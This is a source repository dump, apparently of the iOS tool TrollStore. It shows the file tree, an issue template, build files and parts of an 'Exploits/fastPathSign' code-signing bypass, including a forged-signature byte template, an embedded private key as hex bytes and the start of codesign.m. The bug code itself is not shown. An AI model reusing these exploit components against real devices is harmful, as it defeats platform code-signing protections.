├── .github └── ISSUE_TEMPLATE │ └── bug-report-issue-template.yml ├── .gitignore ├── .gitmodules ├── Exploits └── fastPathSign │ ├── .gitignore │ ├── Makefile │ └── src │ ├── Templates │ ├── AppStoreCodeDirectory.h │ ├── DecryptedSignature.h │ ├── PrivateKey.h │ └── SignatureBlob.h │ ├── codesign.h │ ├── codesign.m │ ├── coretrust_bug.c │ ├── coretrust_bug.h │ └── main.m ├── LICENSE ├── Makefile ├── Pwnify ├── Makefile └── main.m ├── README.md ├── RootHelper ├── Makefile ├── control ├── devmode.h ├── devmode.m ├── entitlements.plist ├── jit.h ├── jit.m ├── main.m ├── uicache.h ├── uicache.m ├── unarchive.h └── unarchive.m ├── Shared ├── CoreServices.h ├── TSListControllerShared.h ├── TSListControllerShared.m ├── TSPresentationDelegate.h ├── TSPresentationDelegate.m ├── TSUtil.h └── TSUtil.m ├── TrollHelper ├── Makefile ├── Resources │ ├── AppIcon29x29.png │ ├── AppIcon29x29@2x.png │ ├── AppIcon29x29@3x.png │ ├── AppIcon40x40.png │ ├── AppIcon40x40@2x.png │ ├── AppIcon40x40@3x.png │ ├── AppIcon50x50.png │ ├── AppIcon50x50@2x.png │ ├── AppIcon57x57.png │ ├── AppIcon57x57@2x.png │ ├── AppIcon57x57@3x.png │ ├── AppIcon60x60.png │ ├── AppIcon60x60@2x.png │ ├── AppIcon60x60@3x.png │ ├── AppIcon72x72.png │ ├── AppIcon72x72@2x.png │ ├── AppIcon76x76.png │ ├── AppIcon76x76@2x.png │ ├── Info.plist │ ├── LaunchImage-700-568h@2x.png │ ├── LaunchImage-700-Landscape@2x~ipad.png │ ├── LaunchImage-700-Landscape~ipad.png │ ├── LaunchImage-700-Portrait@2x~ipad.png │ ├── LaunchImage-700-Portrait~ipad.png │ ├── LaunchImage-800-667h@2x.png │ ├── LaunchImage-800-Landscape-736h@3x.png │ ├── LaunchImage-800-Portrait-736h@3x.png │ ├── LaunchImage.png │ └── LaunchImage@2x.png ├── TSHAppDelegateNoScene.h ├── TSHAppDelegateNoScene.m ├── TSHAppDelegateWithScene.h ├── TSHAppDelegateWithScene.m ├── TSHRootViewController.h ├── TSHRootViewController.m ├── TSHSceneDelegate.h ├── TSHSceneDelegate.m ├── control ├── entitlements.plist └── main.m ├── TrollStore ├── Makefile ├── Resources │ ├── AppIcon29x29.png │ ├── AppIcon29x29@2x.png │ ├── AppIcon29x29@3x.png │ ├── AppIcon40x40.png │ ├── AppIcon40x40@2x.png │ ├── AppIcon40x40@3x.png │ ├── AppIcon50x50.png │ ├── AppIcon50x50@2x.png │ ├── AppIcon57x57.png │ ├── AppIcon57x57@2x.png │ ├── AppIcon57x57@3x.png │ ├── AppIcon60x60.png │ ├── AppIcon60x60@2x.png │ ├── AppIcon60x60@3x.png │ ├── AppIcon72x72.png │ ├── AppIcon72x72@2x.png │ ├── AppIcon76x76.png │ ├── AppIcon76x76@2x.png │ ├── Base.lproj │ │ └── LaunchScreen.storyboardc │ │ │ ├── Info.plist │ │ │ ├── Kx4-55-vNS-view-9BB-B5-Vbi.nib │ │ │ ├── UITabBarController-9el-pn-lH0.nib │ │ │ └── X3T-Aa-nEE-view-vAu-RC-m7d.nib │ └── Info.plist ├── TSAppDelegate.h ├── TSAppDelegate.m ├── TSAppInfo.h ├── TSAppInfo.m ├── TSAppTableViewController.h ├── TSAppTableViewController.m ├── TSApplicationsManager.h ├── TSApplicationsManager.m ├── TSCommonTCCServiceNames.h ├── TSDonateListController.h ├── TSDonateListController.m ├── TSInstallationController.h ├── TSInstallationController.m ├── TSRootViewController.h ├── TSRootViewController.m ├── TSSceneDelegate.h ├── TSSceneDelegate.m ├── TSSettingsAdvancedListController.h ├── TSSettingsAdvancedListController.m ├── TSSettingsListController.h ├── TSSettingsListController.m ├── control ├── entitlements.plist └── main.m ├── Victim ├── README.md ├── make_cert.sh └── victim.p12 └── legacy.p12 /.github/ISSUE_TEMPLATE/bug-report-issue-template.yml: -------------------------------------------------------------------------------- 1 | name: Bug Report 2 | description: Bug Report (No Duplicates Issue Here!) 3 | body: 4 | - type: markdown 5 | attributes: 6 | value: | 7 | # Before post issue please read me 8 | Your issue may already be reported! 9 | Please search on the [issue tracker](https://github.com/opa334/TrollStore/issues) before creating one. 10 | 11 | - type: checkboxes 12 | id: no-duplicates-issue 13 | attributes: 14 | label: No Duplicates Issue 15 | options: 16 | - label: I'm sure I've searched on the issue tracker before creating one. 17 | required: true 18 | 19 | - type: textarea 20 | id: expected-behavior 21 | attributes: 22 | label: Expected Behavior? 23 | description: | 24 | Describing a bug, tell us what should happen 25 | placeholder: Tell us what you **Expected**! 26 | validations: 27 | required: true 28 | 29 | - type: textarea 30 | id: current-behavior 31 | attributes: 32 | label: Current Behavior? 33 | description: | 34 | Describing a bug, tell us what happens instead of the expected behavior 35 | placeholder: Tell us what you **Happened**! 36 | validations: 37 | required: true 38 | 39 | - type: textarea 40 | id: possible-solution 41 | attributes: 42 | label: Possible Solution? 43 | description: | 44 | Not obligatory, but suggest a fix/reason for the bug, 45 | or ideas how to implement the addition or change 46 | placeholder: If not sure leave blank. 47 | value: "-" 48 | 49 | - type: textarea 50 | id: steps-to-reproduce 51 | attributes: 52 | label: Steps to Reproduce 53 | description: | 54 | Provide a link to a live example, or an unambiguous set of steps to 55 | reproduce this bug. Include code to reproduce, if relevant 56 | placeholder: | 57 | 1. 58 | 2. 59 | 3. 60 | value: "-" 61 | 62 | - type: markdown 63 | attributes: 64 | value: | 65 | # Your Environment 66 | 67 | - type: input 68 | id: trollstore-version 69 | attributes: 70 | label: TrollStore Version 71 | description: like TrollInstaller2 72 | validations: 73 | required: true 74 | 75 | - type: input 76 | id: ios-version 77 | attributes: 78 | label: iOS/iPadOS version 79 | description: like iOS 15.1 80 | validations: 81 | required: true 82 | 83 | - type: input 84 | id: idevice-model 85 | attributes: 86 | label: iDevice Model 87 | description: like iPhone 11 88 | validations: 89 | required: true 90 | 91 | - type: input 92 | id: other-env 93 | attributes: 94 | label: Other info of your environment 95 | description: like macOS 12.6, the newest THEOS... 96 | 97 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | out/ 2 | .DS_Store 3 | .theos/ 4 | packages/ 5 | xcuserdata 6 | .vscode 7 | Pwnify/pwnify 8 | InstallerVictim.ipa 9 | _build -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "ChOma"] 2 | path = ChOma 3 | url = https://github.com/opa334/ChOma 4 | -------------------------------------------------------------------------------- /Exploits/fastPathSign/.gitignore: -------------------------------------------------------------------------------- 1 | fastPathSign -------------------------------------------------------------------------------- /Exploits/fastPathSign/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = fastPathSign 2 | 3 | CC = clang 4 | 5 | CFLAGS = -framework Foundation -framework CoreServices -framework Security -fobjc-arc $(shell pkg-config --cflags libcrypto) -I../../ChOma/src 6 | LDFLAGS = $(shell pkg-config --libs libcrypto) 7 | 8 | $(TARGET): $(wildcard src/*.m src/*.c ../../ChOma/src/*.c) 9 | $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ 10 | 11 | clean: 12 | @rm -f $(TARGET) 13 | -------------------------------------------------------------------------------- /Exploits/fastPathSign/src/Templates/DecryptedSignature.h: -------------------------------------------------------------------------------- 1 | unsigned char DecryptedSignature[] = { 2 | 0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 3 | 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, 0x20, 0xe2, 0x34, 0xf9, 0x25, 0x65, 4 | 0xa4, 0x33, 0xb7, 0x13, 0x67, 0xc8, 0x63, 0x93, 0xdc, 0x41, 0xaa, 0xc4, 5 | 0x0e, 0x76, 0xa0, 0x80, 0x29, 0x8b, 0x38, 0x9e, 0xc5, 0x6d, 0xd6, 0xba, 6 | 0xef, 0xbf, 0x0d 7 | }; 8 | unsigned int DecryptedSignature_len = 51; 9 | -------------------------------------------------------------------------------- /Exploits/fastPathSign/src/Templates/PrivateKey.h: -------------------------------------------------------------------------------- 1 | unsigned char CAKey[] = { 2 | 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x42, 0x45, 0x47, 0x49, 0x4e, 0x20, 0x50, 3 | 0x52, 0x49, 0x56, 0x41, 0x54, 0x45, 0x20, 0x4b, 0x45, 0x59, 0x2d, 0x2d, 4 | 0x2d, 0x2d, 0x2d, 0x0a, 0x4d, 0x49, 0x49, 0x45, 0x76, 0x51, 0x49, 0x42, 5 | 0x41, 0x44, 0x41, 0x4e, 0x42, 0x67, 0x6b, 0x71, 0x68, 0x6b, 0x69, 0x47, 6 | 0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x45, 0x46, 0x41, 0x41, 0x53, 0x43, 7 | 0x42, 0x4b, 0x63, 0x77, 0x67, 0x67, 0x53, 0x6a, 0x41, 0x67, 0x45, 0x41, 8 | 0x41, 0x6f, 0x49, 0x42, 0x41, 0x51, 0x43, 0x2b, 0x45, 0x79, 0x35, 0x49, 9 | 0x69, 0x68, 0x4b, 0x59, 0x57, 0x55, 0x39, 0x50, 0x0a, 0x58, 0x31, 0x76, 10 | 0x52, 0x54, 0x35, 0x64, 0x63, 0x37, 0x65, 0x6a, 0x57, 0x51, 0x2b, 0x6b, 11 | 0x2b, 0x4a, 0x6f, 0x49, 0x34, 0x49, 0x68, 0x68, 0x57, 0x52, 0x53, 0x48, 12 | 0x32, 0x38, 0x4c, 0x6a, 0x50, 0x34, 0x32, 0x6f, 0x58, 0x33, 0x38, 0x35, 13 | 0x79, 0x62, 0x61, 0x32, 0x6f, 0x66, 0x54, 0x48, 0x35, 0x6f, 0x55, 0x70, 14 | 0x7a, 0x37, 0x67, 0x64, 0x4c, 0x6c, 0x61, 0x68, 0x59, 0x44, 0x67, 0x58, 15 | 0x5a, 0x0a, 0x42, 0x31, 0x73, 0x39, 0x52, 0x37, 0x76, 0x4f, 0x66, 0x58, 16 | 0x35, 0x4c, 0x4d, 0x48, 0x62, 0x6b, 0x35, 0x43, 0x71, 0x66, 0x53, 0x45, 17 | 0x59, 0x38, 0x36, 0x43, 0x50, 0x72, 0x61, 0x38, 0x65, 0x76, 0x31, 0x57, 18 | 0x51, 0x6a, 0x5a, 0x76, 0x38, 0x6c, 0x32, 0x6d, 0x70, 0x2b, 0x6c, 0x54, 19 | 0x37, 0x44, 0x44, 0x65, 0x62, 0x47, 0x42, 0x70, 0x44, 0x47, 0x69, 0x69, 20 | 0x38, 0x66, 0x79, 0x32, 0x4f, 0x49, 0x0a, 0x6f, 0x44, 0x79, 0x64, 0x79, 21 | 0x6f, 0x56, 0x6e, 0x67, 0x47, 0x37, 0x68, 0x54, 0x72, 0x64, 0x68, 0x2f, 22 | 0x6f, 0x47, 0x4c, 0x55, 0x77, 0x63, 0x30, 0x56, 0x6c, 0x69, 0x6d, 0x52, 23 | 0x6c, 0x68, 0x67, 0x4a, 0x45, 0x53, 0x73, 0x70, 0x31, 0x79, 0x36, 0x71, 24 | 0x38, 0x46, 0x30, 0x62, 0x56, 0x79, 0x42, 0x34, 0x68, 0x75, 0x34, 0x4f, 25 | 0x6f, 0x66, 0x73, 0x43, 0x49, 0x61, 0x64, 0x68, 0x76, 0x6e, 0x4a, 0x0a, 26 | 0x44, 0x46, 0x33, 0x30, 0x58, 0x4e, 0x6e, 0x34, 0x65, 0x6e, 0x34, 0x67, 27 | 0x70, 0x5a, 0x56, 0x53, 0x63, 0x45, 0x76, 0x30, 0x6c, 0x6e, 0x37, 0x6b, 28 | 0x4d, 0x42, 0x45, 0x76, 0x58, 0x42, 0x6b, 0x4f, 0x70, 0x6d, 0x75, 0x58, 29 | 0x55, 0x6d, 0x6a, 0x58, 0x31, 0x32, 0x66, 0x70, 0x6b, 0x64, 0x72, 0x71, 30 | 0x79, 0x39, 0x52, 0x77, 0x75, 0x68, 0x45, 0x49, 0x75, 0x46, 0x53, 0x34, 31 | 0x53, 0x47, 0x46, 0x43, 0x0a, 0x34, 0x4b, 0x35, 0x54, 0x49, 0x38, 0x41, 32 | 0x58, 0x76, 0x57, 0x32, 0x78, 0x70, 0x52, 0x4f, 0x67, 0x5a, 0x62, 0x58, 33 | 0x71, 0x6b, 0x5a, 0x71, 0x6c, 0x4c, 0x34, 0x37, 0x43, 0x4f, 0x35, 0x46, 34 | 0x77, 0x6e, 0x5a, 0x35, 0x75, 0x6e, 0x7a, 0x35, 0x6e, 0x30, 0x39, 0x64, 35 | 0x69, 0x4f, 0x39, 0x79, 0x57, 0x48, 0x76, 0x4d, 0x4c, 0x52, 0x36, 0x38, 36 | 0x6d, 0x50, 0x4e, 0x30, 0x4f, 0x41, 0x4c, 0x39, 0x76, 0x0a, 0x4a, 0x4a, 37 | 0x34, 0x48, 0x50, 0x4f, 0x56, 0x64, 0x41, 0x67, 0x4d, 0x42, 0x41, 0x41, 38 | 0x45, 0x43, 0x67, 0x67, 0x45, 0x41, 0x42, 0x33, 0x73, 0x44, 0x52, 0x51, 39 | 0x30, 0x55, 0x44, 0x73, 0x56, 0x6a, 0x43, 0x75, 0x31, 0x6d, 0x6c, 0x47, 40 | 0x34, 0x45, 0x74, 0x37, 0x35, 0x51, 0x50, 0x64, 0x43, 0x46, 0x35, 0x7a, 41 | 0x47, 0x47, 0x53, 0x66, 0x58, 0x44, 0x6a, 0x65, 0x2b, 0x69, 0x46, 0x74, 42 | 0x45, 0x69, 0x0a, 0x41, 0x4f, 0x4b, 0x44, 0x48, 0x43, 0x58, 0x74, 0x66, 43 | 0x74, 0x44, 0x6b, 0x74, 0x76, 0x38, 0x59, 0x58, 0x71, 0x6e, 0x7a, 0x6e, 44 | 0x32, 0x7a, 0x6b, 0x67, 0x68, 0x76, 0x46, 0x65, 0x4a, 0x4f, 0x79, 0x74, 45 | 0x4c, 0x67, 0x6d, 0x70, 0x64, 0x71, 0x44, 0x49, 0x47, 0x30, 0x4e, 0x63, 46 | 0x61, 0x47, 0x61, 0x61, 0x45, 0x63, 0x33, 0x69, 0x7a, 0x58, 0x42, 0x74, 47 | 0x2b, 0x64, 0x74, 0x39, 0x48, 0x65, 0x31, 0x0a, 0x4c, 0x2b, 0x30, 0x65, 48 | 0x79, 0x41, 0x72, 0x6e, 0x61, 0x30, 0x4b, 0x31, 0x6b, 0x72, 0x35, 0x47, 49 | 0x62, 0x6c, 0x42, 0x48, 0x66, 0x77, 0x38, 0x6d, 0x6c, 0x76, 0x32, 0x38, 50 | 0x76, 0x59, 0x78, 0x59, 0x59, 0x6a, 0x6e, 0x6d, 0x4d, 0x4e, 0x4b, 0x56, 51 | 0x33, 0x66, 0x30, 0x75, 0x76, 0x2f, 0x54, 0x45, 0x59, 0x46, 0x6d, 0x76, 52 | 0x47, 0x50, 0x2f, 0x66, 0x52, 0x6e, 0x62, 0x49, 0x66, 0x65, 0x43, 0x77, 53 | 0x0a, 0x2f, 0x2b, 0x57, 0x57, 0x71, 0x37, 0x7a, 0x4c, 0x45, 0x7a, 0x55, 54 | 0x62, 0x73, 0x6d, 0x53, 0x46, 0x46, 0x68, 0x37, 0x52, 0x35, 0x77, 0x6d, 55 | 0x70, 0x37, 0x61, 0x62, 0x64, 0x58, 0x4a, 0x49, 0x72, 0x55, 0x59, 0x61, 56 | 0x67, 0x38, 0x38, 0x79, 0x76, 0x32, 0x57, 0x4b, 0x31, 0x4b, 0x71, 0x70, 57 | 0x50, 0x6d, 0x6c, 0x32, 0x61, 0x63, 0x78, 0x56, 0x65, 0x73, 0x38, 0x42, 58 | 0x73, 0x69, 0x34, 0x4b, 0x75, 0x0a, 0x2f, 0x4c, 0x35, 0x62, 0x46, 0x66, 59 | 0x59, 0x66, 0x50, 0x33, 0x50, 0x37, 0x5a, 0x45, 0x7a, 0x7a, 0x31, 0x55, 60 | 0x5a, 0x68, 0x34, 0x75, 0x47, 0x68, 0x49, 0x57, 0x6c, 0x53, 0x75, 0x77, 61 | 0x67, 0x4e, 0x71, 0x79, 0x71, 0x79, 0x4b, 0x67, 0x65, 0x62, 0x34, 0x31, 62 | 0x43, 0x78, 0x50, 0x53, 0x71, 0x63, 0x4c, 0x54, 0x63, 0x61, 0x30, 0x59, 63 | 0x38, 0x55, 0x34, 0x31, 0x62, 0x75, 0x76, 0x71, 0x4d, 0x46, 0x0a, 0x56, 64 | 0x63, 0x2b, 0x75, 0x31, 0x55, 0x2f, 0x34, 0x67, 0x6d, 0x54, 0x45, 0x58, 65 | 0x6e, 0x5a, 0x79, 0x46, 0x6b, 0x79, 0x47, 0x30, 0x34, 0x68, 0x57, 0x38, 66 | 0x4f, 0x64, 0x49, 0x49, 0x58, 0x51, 0x77, 0x67, 0x6a, 0x49, 0x78, 0x64, 67 | 0x48, 0x58, 0x58, 0x32, 0x51, 0x4b, 0x42, 0x67, 0x51, 0x44, 0x66, 0x64, 68 | 0x77, 0x63, 0x52, 0x4a, 0x50, 0x43, 0x2f, 0x49, 0x46, 0x30, 0x65, 0x31, 69 | 0x53, 0x75, 0x53, 0x0a, 0x66, 0x55, 0x4c, 0x65, 0x63, 0x31, 0x48, 0x65, 70 | 0x51, 0x56, 0x6d, 0x52, 0x74, 0x4b, 0x71, 0x6c, 0x35, 0x69, 0x6a, 0x50, 71 | 0x42, 0x5a, 0x5a, 0x6a, 0x37, 0x78, 0x2b, 0x73, 0x47, 0x49, 0x6b, 0x2f, 72 | 0x4e, 0x4d, 0x6f, 0x7a, 0x61, 0x6b, 0x70, 0x65, 0x2b, 0x4f, 0x69, 0x54, 73 | 0x62, 0x4f, 0x52, 0x37, 0x37, 0x70, 0x30, 0x39, 0x52, 0x2f, 0x2b, 0x62, 74 | 0x52, 0x71, 0x2b, 0x6f, 0x73, 0x61, 0x6c, 0x5a, 0x0a, 0x30, 0x56, 0x46, 75 | 0x59, 0x52, 0x30, 0x62, 0x42, 0x77, 0x4a, 0x6e, 0x66, 0x43, 0x36, 0x30, 76 | 0x36, 0x35, 0x54, 0x45, 0x39, 0x35, 0x48, 0x2b, 0x33, 0x75, 0x30, 0x57, 77 | 0x4e, 0x2f, 0x55, 0x50, 0x39, 0x4e, 0x58, 0x4b, 0x70, 0x4e, 0x49, 0x59, 78 | 0x71, 0x73, 0x43, 0x69, 0x4c, 0x53, 0x33, 0x57, 0x48, 0x67, 0x73, 0x62, 79 | 0x4e, 0x30, 0x43, 0x56, 0x46, 0x53, 0x54, 0x35, 0x76, 0x62, 0x76, 0x71, 80 | 0x31, 0x0a, 0x4a, 0x33, 0x50, 0x30, 0x77, 0x42, 0x41, 0x75, 0x2b, 0x2f, 81 | 0x6f, 0x34, 0x46, 0x35, 0x70, 0x6b, 0x70, 0x5a, 0x62, 0x36, 0x38, 0x34, 82 | 0x79, 0x4e, 0x78, 0x51, 0x4b, 0x42, 0x67, 0x51, 0x44, 0x5a, 0x76, 0x36, 83 | 0x52, 0x67, 0x79, 0x45, 0x47, 0x77, 0x53, 0x59, 0x56, 0x31, 0x49, 0x35, 84 | 0x63, 0x5a, 0x68, 0x2f, 0x66, 0x2b, 0x6f, 0x53, 0x49, 0x37, 0x74, 0x6b, 85 | 0x52, 0x62, 0x58, 0x74, 0x37, 0x46, 0x0a, 0x4e, 0x75, 0x2f, 0x71, 0x35, 86 | 0x66, 0x6f, 0x37, 0x58, 0x74, 0x54, 0x53, 0x6f, 0x38, 0x72, 0x53, 0x6a, 87 | 0x2f, 0x66, 0x79, 0x35, 0x35, 0x42, 0x6f, 0x58, 0x4c, 0x61, 0x7a, 0x53, 88 | 0x65, 0x61, 0x6e, 0x62, 0x68, 0x43, 0x58, 0x6e, 0x48, 0x39, 0x53, 0x67, 89 | 0x6f, 0x52, 0x77, 0x77, 0x56, 0x44, 0x49, 0x4a, 0x48, 0x2f, 0x42, 0x46, 90 | 0x35, 0x75, 0x6e, 0x74, 0x6e, 0x47, 0x72, 0x64, 0x5a, 0x64, 0x69, 0x0a, 91 | 0x47, 0x45, 0x56, 0x55, 0x4f, 0x4d, 0x53, 0x2b, 0x73, 0x70, 0x7a, 0x4b, 92 | 0x64, 0x42, 0x70, 0x4a, 0x49, 0x51, 0x43, 0x59, 0x4b, 0x38, 0x74, 0x54, 93 | 0x49, 0x62, 0x76, 0x78, 0x30, 0x4a, 0x4a, 0x68, 0x53, 0x66, 0x67, 0x7a, 94 | 0x44, 0x65, 0x68, 0x38, 0x4a, 0x64, 0x4f, 0x57, 0x56, 0x42, 0x68, 0x49, 95 | 0x43, 0x61, 0x51, 0x6f, 0x50, 0x31, 0x62, 0x71, 0x77, 0x36, 0x4a, 0x2b, 96 | 0x78, 0x71, 0x30, 0x35, 0x0a, 0x75, 0x4f, 0x37, 0x64, 0x70, 0x57, 0x6e, 97 | 0x4b, 0x75, 0x51, 0x4b, 0x42, 0x67, 0x47, 0x74, 0x77, 0x2b, 0x53, 0x37, 98 | 0x66, 0x43, 0x66, 0x6c, 0x37, 0x41, 0x41, 0x72, 0x52, 0x42, 0x33, 0x41, 99 | 0x5a, 0x56, 0x63, 0x74, 0x4b, 0x75, 0x76, 0x51, 0x58, 0x69, 0x34, 0x38, 100 | 0x6f, 0x78, 0x46, 0x75, 0x62, 0x65, 0x38, 0x64, 0x39, 0x73, 0x6a, 0x38, 101 | 0x2b, 0x4f, 0x34, 0x59, 0x74, 0x44, 0x65, 0x41, 0x62, 0x0a, 0x36, 0x35, 102 | 0x51, 0x6f, 0x36, 0x4c, 0x55, 0x64, 0x44, 0x41, 0x58, 0x46, 0x39, 0x31, 103 | 0x30, 0x32, 0x37, 0x74, 0x63, 0x47, 0x42, 0x50, 0x6d, 0x4e, 0x56, 0x4f, 104 | 0x76, 0x51, 0x37, 0x39, 0x48, 0x46, 0x65, 0x45, 0x7a, 0x76, 0x69, 0x43, 105 | 0x2b, 0x6b, 0x41, 0x4e, 0x64, 0x69, 0x37, 0x39, 0x6b, 0x2f, 0x56, 0x52, 106 | 0x75, 0x69, 0x2f, 0x31, 0x31, 0x42, 0x5a, 0x30, 0x48, 0x4c, 0x6f, 0x61, 107 | 0x4c, 0x65, 0x0a, 0x7a, 0x64, 0x42, 0x59, 0x39, 0x71, 0x45, 0x54, 0x72, 108 | 0x59, 0x71, 0x37, 0x72, 0x7a, 0x69, 0x47, 0x51, 0x6a, 0x75, 0x32, 0x64, 109 | 0x68, 0x55, 0x49, 0x45, 0x45, 0x4c, 0x58, 0x6f, 0x79, 0x62, 0x79, 0x58, 110 | 0x79, 0x67, 0x77, 0x4b, 0x42, 0x66, 0x50, 0x41, 0x78, 0x46, 0x78, 0x46, 111 | 0x38, 0x53, 0x49, 0x63, 0x54, 0x30, 0x62, 0x57, 0x46, 0x72, 0x5a, 0x41, 112 | 0x6f, 0x47, 0x41, 0x55, 0x6d, 0x69, 0x67, 0x0a, 0x4b, 0x6d, 0x79, 0x2f, 113 | 0x78, 0x35, 0x73, 0x62, 0x6f, 0x69, 0x69, 0x56, 0x44, 0x2f, 0x6d, 0x51, 114 | 0x6c, 0x74, 0x4b, 0x65, 0x35, 0x53, 0x42, 0x6e, 0x49, 0x48, 0x6c, 0x34, 115 | 0x4d, 0x41, 0x56, 0x4a, 0x71, 0x59, 0x6e, 0x65, 0x4f, 0x55, 0x66, 0x37, 116 | 0x6e, 0x62, 0x69, 0x56, 0x6b, 0x7a, 0x6b, 0x66, 0x61, 0x74, 0x50, 0x4f, 117 | 0x71, 0x47, 0x43, 0x6d, 0x57, 0x4a, 0x5a, 0x59, 0x62, 0x2f, 0x64, 0x4d, 118 | 0x0a, 0x32, 0x6b, 0x52, 0x46, 0x50, 0x35, 0x48, 0x62, 0x30, 0x39, 0x79, 119 | 0x6c, 0x32, 0x51, 0x6c, 0x50, 0x50, 0x47, 0x48, 0x56, 0x37, 0x42, 0x51, 120 | 0x31, 0x55, 0x75, 0x48, 0x50, 0x4b, 0x44, 0x58, 0x74, 0x54, 0x79, 0x47, 121 | 0x6f, 0x2f, 0x45, 0x38, 0x57, 0x33, 0x64, 0x77, 0x77, 0x38, 0x6f, 0x70, 122 | 0x46, 0x38, 0x6c, 0x46, 0x6f, 0x77, 0x77, 0x36, 0x61, 0x56, 0x62, 0x74, 123 | 0x4e, 0x47, 0x76, 0x72, 0x6d, 0x0a, 0x72, 0x31, 0x50, 0x4e, 0x4c, 0x2b, 124 | 0x63, 0x55, 0x2b, 0x2b, 0x6a, 0x5a, 0x77, 0x37, 0x47, 0x36, 0x61, 0x65, 125 | 0x30, 0x47, 0x31, 0x52, 0x53, 0x7a, 0x55, 0x2b, 0x32, 0x58, 0x4d, 0x36, 126 | 0x68, 0x55, 0x35, 0x70, 0x65, 0x71, 0x77, 0x53, 0x6b, 0x43, 0x67, 0x59, 127 | 0x45, 0x41, 0x67, 0x37, 0x37, 0x2f, 0x6f, 0x31, 0x67, 0x5a, 0x66, 0x58, 128 | 0x69, 0x58, 0x56, 0x69, 0x58, 0x52, 0x75, 0x2b, 0x4a, 0x38, 0x0a, 0x41, 129 | 0x30, 0x45, 0x44, 0x52, 0x4d, 0x30, 0x41, 0x43, 0x32, 0x79, 0x39, 0x62, 130 | 0x42, 0x75, 0x64, 0x7a, 0x44, 0x46, 0x4a, 0x46, 0x42, 0x47, 0x6b, 0x65, 131 | 0x38, 0x44, 0x4d, 0x58, 0x6d, 0x55, 0x62, 0x78, 0x47, 0x63, 0x48, 0x43, 132 | 0x62, 0x67, 0x75, 0x6e, 0x31, 0x77, 0x6c, 0x69, 0x4d, 0x44, 0x37, 0x32, 133 | 0x48, 0x45, 0x54, 0x62, 0x52, 0x77, 0x2f, 0x38, 0x2b, 0x32, 0x42, 0x6d, 134 | 0x55, 0x44, 0x31, 0x0a, 0x77, 0x46, 0x32, 0x38, 0x75, 0x4d, 0x4b, 0x4e, 135 | 0x43, 0x51, 0x70, 0x31, 0x2b, 0x6d, 0x44, 0x57, 0x34, 0x77, 0x68, 0x63, 136 | 0x31, 0x75, 0x6d, 0x6b, 0x6f, 0x33, 0x43, 0x75, 0x4c, 0x42, 0x42, 0x44, 137 | 0x58, 0x7a, 0x41, 0x59, 0x38, 0x4c, 0x30, 0x6e, 0x4d, 0x44, 0x55, 0x52, 138 | 0x71, 0x4a, 0x46, 0x69, 0x46, 0x56, 0x45, 0x35, 0x41, 0x47, 0x75, 0x53, 139 | 0x4e, 0x52, 0x74, 0x53, 0x50, 0x55, 0x48, 0x46, 0x0a, 0x46, 0x46, 0x6a, 140 | 0x6b, 0x37, 0x31, 0x4e, 0x30, 0x47, 0x57, 0x74, 0x64, 0x51, 0x53, 0x6f, 141 | 0x76, 0x70, 0x52, 0x2b, 0x47, 0x52, 0x44, 0x45, 0x3d, 0x0a, 0x2d, 0x2d, 142 | 0x2d, 0x2d, 0x2d, 0x45, 0x4e, 0x44, 0x20, 0x50, 0x52, 0x49, 0x56, 0x41, 143 | 0x54, 0x45, 0x20, 0x4b, 0x45, 0x59, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x0a 144 | }; 145 | unsigned int CAKeyLength = 1704; 146 | -------------------------------------------------------------------------------- /Exploits/fastPathSign/src/codesign.h: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | 4 | int codesign_sign_adhoc(const char *path, bool preserveMetadata, NSDictionary *customEntitlements); -------------------------------------------------------------------------------- /Exploits/fastPathSign/src/codesign.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #ifdef __cplusplus 7 | extern "C" { 8 | #endif 9 | 10 | #if TARGET_OS_OSX 11 | #include 12 | #include 13 | #else 14 | 15 | // CSCommon.h 16 | typedef struct CF_BRIDGED_TYPE(id) __SecCode const* SecStaticCodeRef; /* code on disk */ 17 | 18 | typedef CF_OPTIONS(uint32_t, SecCSFlags) { 19 | kSecCSDefaultFlags = 0, /* no particular flags (default behavior) */ 20 | 21 | kSecCSConsiderExpiration = 1U << 31, /* consider expired certificates invalid */ 22 | kSecCSEnforceRevocationChecks = 1 << 30, /* force revocation checks regardless of preference settings */ 23 | kSecCSNoNetworkAccess = 1 << 29, /* do not use the network, cancels "kSecCSEnforceRevocationChecks" */ 24 | kSecCSReportProgress = 1 << 28, /* make progress report call-backs when configured */ 25 | kSecCSCheckTrustedAnchors = 1 << 27, /* build certificate chain to system trust anchors, not to any self-signed certificate */ 26 | kSecCSQuickCheck = 1 << 26, /* (internal) */ 27 | kSecCSApplyEmbeddedPolicy = 1 << 25, /* Apply Embedded (iPhone) policy regardless of the platform we're running on */ 28 | }; 29 | 30 | // SecStaticCode.h 31 | OSStatus SecStaticCodeCreateWithPathAndAttributes(CFURLRef path, SecCSFlags flags, CFDictionaryRef attributes, 32 | SecStaticCodeRef* __nonnull CF_RETURNS_RETAINED staticCode); 33 | 34 | // SecCode.h 35 | CF_ENUM(uint32_t){ 36 | kSecCSInternalInformation = 1 << 0, kSecCSSigningInformation = 1 << 1, kSecCSRequirementInformation = 1 << 2, 37 | kSecCSDynamicInformation = 1 << 3, kSecCSContentInformation = 1 << 4, kSecCSSkipResourceDirectory = 1 << 5, 38 | kSecCSCalculateCMSDigest = 1 << 6, 39 | }; 40 | 41 | OSStatus SecCodeCopySigningInformation(SecStaticCodeRef code, SecCSFlags flags, CFDictionaryRef* __nonnull CF_RETURNS_RETAINED information); 42 | 43 | extern const CFStringRef kSecCodeInfoEntitlements; /* generic */ 44 | extern const CFStringRef kSecCodeInfoIdentifier; /* generic */ 45 | extern const CFStringRef kSecCodeInfoRequirementData; /* Requirement */ 46 | 47 | #endif 48 | 49 | typedef CF_OPTIONS(uint32_t, SecPreserveFlags) { 50 | kSecCSPreserveIdentifier = 1 << 0, 51 | kSecCSPreserveRequirements = 1 << 1, 52 | 